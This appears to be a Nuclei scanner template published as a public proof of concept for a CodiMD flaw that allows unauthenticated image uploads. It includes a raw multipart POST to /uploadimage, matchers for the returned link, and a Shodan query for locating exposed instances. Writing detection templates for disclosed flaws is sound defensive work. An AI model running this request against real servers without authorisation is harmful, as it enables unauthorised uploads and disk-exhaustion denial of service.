codimd-unauth-file-upload: CodiMD - File Upload

2025-08-01 CodiMD PoC Public

Description

CodiMD does not require valid authentication to access uploaded images or to upload new image data. An attacker who can determine an uploaded image's URL can gain unauthorised access to uploaded image data, or can create a denial of service condition by exhausting all available disk space.

PoC

id: codimd-unauth-file-upload

info:
  name: CodiMD - File Upload
  author: denandz,PulseSecurity.co.nz
  severity: medium
  description: |
    CodiMD does not require valid authentication to access uploaded images or to upload new image data. An attacker who can determine an uploaded image's URL can gain unauthorised access to uploaded image data, or can create a denial of service condition by exhausting all available disk space.
  reference:
    - https://github.com/hackmdio/codimd/security/advisories/GHSA-2764-jppc-p2hm
    - https://pulsesecurity.co.nz/advisories/codimd-missing-image-access-controls
  metadata:
    max-request: 1
    verified: true
    shodan-query: html:"CodiMD"
  tags: file-upload,intrusive,codimd,vuln

http:
  - raw:
      - |
        POST /uploadimage HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161

        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="image"; filename="{{randstr}}.gif"
        Content-Type: image/gif

        {{base64_decode("R0lGODlhAQABAIABAP///wAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==")}}
        -----------------------------92633278134516118923780781161--

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"link":".*?.gif"'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"link":"(.*)"'
# digest: 4a0a0047304502200470a999a65a4a9c08ef0d5b49eab2f1b7ea4690d91f9517ce9a10698da4ed73022100910a807234d038a82d7a67c71c120b1c60ac3f97957e7b2f31ab3eb588f208a5:922c64590222798bb761d5b6d8e72950

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